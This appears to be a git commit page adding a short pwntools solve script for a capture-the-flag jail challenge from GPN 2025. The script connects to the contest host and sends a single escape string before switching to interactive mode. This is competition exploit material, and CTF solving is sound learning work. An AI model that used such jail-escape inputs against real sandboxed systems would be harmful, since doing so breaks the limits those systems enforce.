more ctf stuff
This commit is contained in:
21
2025/gpn/misc/jail/exploit.py
Normal file
21
2025/gpn/misc/jail/exploit.py
Normal file
@@ -0,0 +1,21 @@
|
||||
import sys
|
||||
import termios
|
||||
import tty
|
||||
from pwn import *
|
||||
|
||||
# Save original terminal settings
|
||||
old_settings = termios.tcgetattr(sys.stdin)
|
||||
|
||||
try:
|
||||
# Set terminal to raw -echo mode
|
||||
tty.setraw(sys.stdin.fileno())
|
||||
|
||||
# Connect to challenge
|
||||
p = remote("goldenridge-of-mind-blowing-harmony.gpn23.ctf.kitctf.de", 443, ssl=True)
|
||||
p.sendline(b"!'Get out of Jail Free'")
|
||||
p.interactive()
|
||||
|
||||
finally:
|
||||
# Restore terminal settings after interaction ends
|
||||
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_settings)
|
||||
|
||||
Reference in New Issue
Block a user